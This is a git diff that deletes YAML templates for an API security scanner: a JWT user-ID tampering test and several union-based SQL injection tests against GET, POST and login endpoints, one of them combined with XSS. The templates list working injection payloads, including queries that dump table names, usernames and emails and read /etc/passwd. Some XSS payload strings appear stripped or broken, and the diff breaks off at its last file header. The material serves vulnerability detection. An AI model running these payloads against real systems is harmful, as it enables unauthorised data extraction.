- name: "JWT Token Tampering: Modifying User IDs for Potential Unauthorized Access for APIs with PATCH method"
- description: >
- "JWT Token Tampering involves assessing security risks by identifying and modifying user IDs within tokens. By manipulating JWT tokens on jwt.io and substituting the user ID, this method aims to test the system's resilience against unauthorized access attempts (for APIs with PATCH method). The evaluation helps identify and mitigate potential vulnerabilities, ensuring the integrity of user data and overall system security."
- details: >
- "In this test, attackers attempt to manipulate JSON Web Tokens (JWT) by identifying user IDs and substituting them with new ones on jwt.io (for APIs with PATCH method). This method serves as a security test to gauge the system's vulnerability to unauthorized access. By evaluating the system's response to tampered JWT tokens, organizations can identify and address potential weaknesses, enhancing overall security against unauthorized data access through token manipulation."
- impact: >
- "The impact of this test is significant, potentially leading to unauthorized access to sensitive
- user data. Successful tampering could compromise the integrity of the authentication system,
- allowing attackers to access information belonging to other users. Promptly addressing and
- mitigating these vulnerabilities is crucial to maintaining the security and trustworthiness
- of systems relying on JWT tokens for user authentication."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: JWT_MODIFY_BODY_PATCH
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-29217
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-inactive: true
-
-auth:
- authenticated: true
-api_selection_filters:
- request_headers:
- for_one:
- value:
- contains_jwt: true
- response_code:
- eq: 204
- method:
- eq: PATCH
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
-wordLists:
- jwts:
- source: sample_data
- key: Authorization
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - jwt_replace_body: "${jwts}"
-validate:
- response_code:
- eq: 204
- response_payload:
- length:
- gt: 0
- percentage_match:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiGET.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiGET.yml
deleted file mode 100644
index 864d61c5..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiGET.yml
+++ /dev/null
@@ -1,256 +0,0 @@
-id: ADVANCED_UNION_BASED_SQLI_GET
-info:
- name: "Advanced Union based SQL Injection test with GET method"
- description: "The Advanced Union-Based SQL Injection Test identifies vulnerabilities where attackers can exploit SQL queries through UNION-based injection techniques. This method involves injecting malicious SQL statements using the `UNION` operator to merge attacker-controlled queries with legitimate ones. The goal is to retrieve sensitive data, such as database schema details, user credentials, or application secrets. Preventing this vulnerability requires robust input validation, parameterized queries, and secure database interaction practices."
- details: "The Advanced Union-Based SQL Injection Test focuses on detecting SQL injection flaws that leverage the `UNION` operator to append malicious queries. By combining attacker-controlled queries with legitimate SQL queries, sensitive data like database tables, columns, or user credentials can be exposed. This test checks for input fields or parameters that accept user input without proper sanitization or validation, making them vulnerable to this type of injection. Mitigation strategies include using parameterized queries, prepared statements, and rigorous input validation to block unauthorized SQL query execution."
- impact: "The impact of an Advanced Union-Based SQL Injection vulnerability can be critical, allowing attackers to retrieve sensitive information, such as user credentials, financial data, or application secrets, directly from the database. This can lead to unauthorized access, data breaches, and potential compliance violations. Additionally, attackers could escalate their privileges or further exploit the database and underlying system. Implementing secure coding practices and robust database query mechanisms is essential to mitigate such risks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADVANCED_UNION_BASED_SQLI_GET
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: GET
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- query_param:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns--"
- - "' UNION SELECT database(), null--"
- - "' UNION SELECT user(), null--"
- - "' UNION SELECT @@version, null--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd')--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables WHERE 1=0--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' WHERE 1=0--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns WHERE 1=0--"
- - "' UNION SELECT database(), null WHERE 1=0--"
- - "' UNION SELECT user(), null WHERE 1=0--"
- - "' UNION SELECT @@version, null WHERE 1=0--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata WHERE 1=0--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd') WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiLoginEndpoint.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiLoginEndpoint.yml
deleted file mode 100644
index 3ed6903e..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiLoginEndpoint.yml
+++ /dev/null
@@ -1,265 +0,0 @@
-id: ADVANCED_UNION_BASED_SQLI
-info:
- name: "Advanced Union based SQL Injection test on Login Endpoints"
- description: >
- "An advanced Union-based SQL Injection test on login endpoints involves using complex SQL queries with the UNION operator to merge results from multiple queries, often employing subqueries and database functions. This sophisticated approach aims to bypass security mechanisms and extract specific data from deep within the database. It requires a thorough understanding of the database schema and can reveal intricate vulnerabilities not detected by basic tests."
- details: >
- "Advanced Union-based SQL Injection testing on login endpoints involves crafting complex SQL queries using the UNION operator, often including subqueries and advanced database functions. This approach targets bypassing sophisticated security mechanisms and extracting detailed information from various database tables. Testers need a deep understanding of the database schema and potential entry points to effectively perform these tests, making it a more comprehensive and targeted method for uncovering vulnerabilities."
- impact: >
- "The impact of advanced Union-based SQL Injection on login endpoints can be extremely severe, potentially leading to the exposure of highly sensitive data across multiple database tables. Attackers can gain unauthorized access to critical system information, manipulate or delete data, and compromise the entire database. This advanced attack can result in extensive data breaches, significant financial loss, and substantial damage to an organization's credibility and security infrastructure."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADVANCED_UNION_BASED_SQLI
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|^user_name$|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns--"
- - "' UNION SELECT database(), null--"
- - "' UNION SELECT user(), null--"
- - "' UNION SELECT @@version, null--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd')--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables WHERE 1=0--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' WHERE 1=0--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns WHERE 1=0--"
- - "' UNION SELECT database(), null WHERE 1=0--"
- - "' UNION SELECT user(), null WHERE 1=0--"
- - "' UNION SELECT @@version, null WHERE 1=0--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata WHERE 1=0--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd') WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiPOST.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiPOST.yml
deleted file mode 100644
index 8c7a20cc..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiPOST.yml
+++ /dev/null
@@ -1,256 +0,0 @@
-id: ADVANCED_UNION_BASED_SQLI_POST
-info:
- name: "Advanced Union based SQL Injection test with POST method"
- description: "The Advanced Union-Based SQL Injection Test identifies vulnerabilities where attackers can exploit SQL queries through UNION-based injection techniques. This method involves injecting malicious SQL statements using the `UNION` operator to merge attacker-controlled queries with legitimate ones. The goal is to retrieve sensitive data, such as database schema details, user credentials, or application secrets. Preventing this vulnerability requires robust input validation, parameterized queries, and secure database interaction practices."
- details: "The Advanced Union-Based SQL Injection Test focuses on detecting SQL injection flaws that leverage the `UNION` operator to append malicious queries. By combining attacker-controlled queries with legitimate SQL queries, sensitive data like database tables, columns, or user credentials can be exposed. This test checks for input fields or parameters that accept user input without proper sanitization or validation, making them vulnerable to this type of injection. Mitigation strategies include using parameterized queries, prepared statements, and rigorous input validation to block unauthorized SQL query execution."
- impact: "The impact of an Advanced Union-Based SQL Injection vulnerability can be critical, allowing attackers to retrieve sensitive information, such as user credentials, financial data, or application secrets, directly from the database. This can lead to unauthorized access, data breaches, and potential compliance violations. Additionally, attackers could escalate their privileges or further exploit the database and underlying system. Implementing secure coding practices and robust database query mechanisms is essential to mitigate such risks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADVANCED_UNION_BASED_SQLI_POST
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: POST
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- request_payload:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns--"
- - "' UNION SELECT database(), null--"
- - "' UNION SELECT user(), null--"
- - "' UNION SELECT @@version, null--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd')--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT table_name, null FROM information_schema.tables WHERE 1=0--"
- - "' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' WHERE 1=0--"
- - "' UNION SELECT table_name, column_name FROM information_schema.columns WHERE 1=0--"
- - "' UNION SELECT database(), null WHERE 1=0--"
- - "' UNION SELECT user(), null WHERE 1=0--"
- - "' UNION SELECT @@version, null WHERE 1=0--"
- - "' UNION SELECT schema_name, null FROM information_schema.schemata WHERE 1=0--"
- - "' UNION SELECT 1, LOAD_FILE('/etc/passwd') WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - "table_name"
- - "column_name"
- - "database"
- - "schema_name"
- - "root:"
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSS.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiXSS.yml
deleted file mode 100644
index 6bc2256b..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSS.yml
+++ /dev/null
@@ -1,258 +0,0 @@
-id: ADV_UNION_BASED_SQLI_XSS
-info:
- name: "Advanced Union based SQL Injection Test with XSS"
- description: >
- "Advanced Union-based SQL Injection testing with XSS involves exploiting SQL injection vulnerabilities by constructing complex UNION SELECT statements. Attackers manipulate these statements to concatenate data from different tables or columns within the database. By injecting XSS payloads into these crafted queries, attackers aim to execute malicious scripts in the application's output. This advanced technique helps identify and mitigate vulnerabilities where SQL injection and XSS intersect, showcasing the potential risks of data exposure and client-side attacks."
- details: >
- "Advanced Union-based SQL Injection with XSS involves crafting SQL injection payloads that utilize UNION SELECT statements to combine and extract data from multiple tables or columns within the database. Attackers carefully construct these queries to include XSS payloads, intending to execute malicious scripts in the application's output. This testing method explores sophisticated exploitation techniques where SQL injection vulnerabilities and cross-site scripting converge, revealing critical security weaknesses in both data handling and client-side script execution."
- impact: >
- "The impact of Advanced Union-based SQL Injection combined with XSS can be severe, as it allows attackers to extract sensitive data from multiple database tables or columns and execute malicious scripts in users' browsers. This dual vulnerability can lead to unauthorized access to confidential information, compromise of user sessions, and potential data manipulation or theft. Such attacks pose significant risks to application security, potentially resulting in financial losses, regulatory penalties, and reputational damage to the organization."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: ADV_UNION_BASED_SQLI_XSS
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|^user_name$|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- advUnionXSSPayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), ''--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), ''--"
- advUnionXSSNegativePayloads:
- - "' UNION SELECT 1, (SELECT CONCAT('', database())), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') FROM information_schema.tables WHERE table_schema=database()), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_name='users'), '' WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users), ''--"
- - "' UNION SELECT 1, (SELECT CONCAT('
', email) FROM users), 3 WHERE 1=0--"
- - "' UNION SELECT 1, (SELECT IF(1=1, (SELECT table_name FROM information_schema.tables LIMIT 1), 1/0)), '' WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- contains_either:
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${advUnionXSSNegativePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- - ""
- - ""
- - ""
- - ""
- - "
"
- - ""
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSGET.yml b/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSGET.yml
deleted file mode 100644
index c2753f51..00000000
--- a/Broken-User-Authentication/AdvancedUnionBasedSQLiXSSGET.yml
+++ /dev/null
@@ -1,251 +0,0 @@
-id: ADV_UNION_BASED_SQLI_XSS_GET
-info:
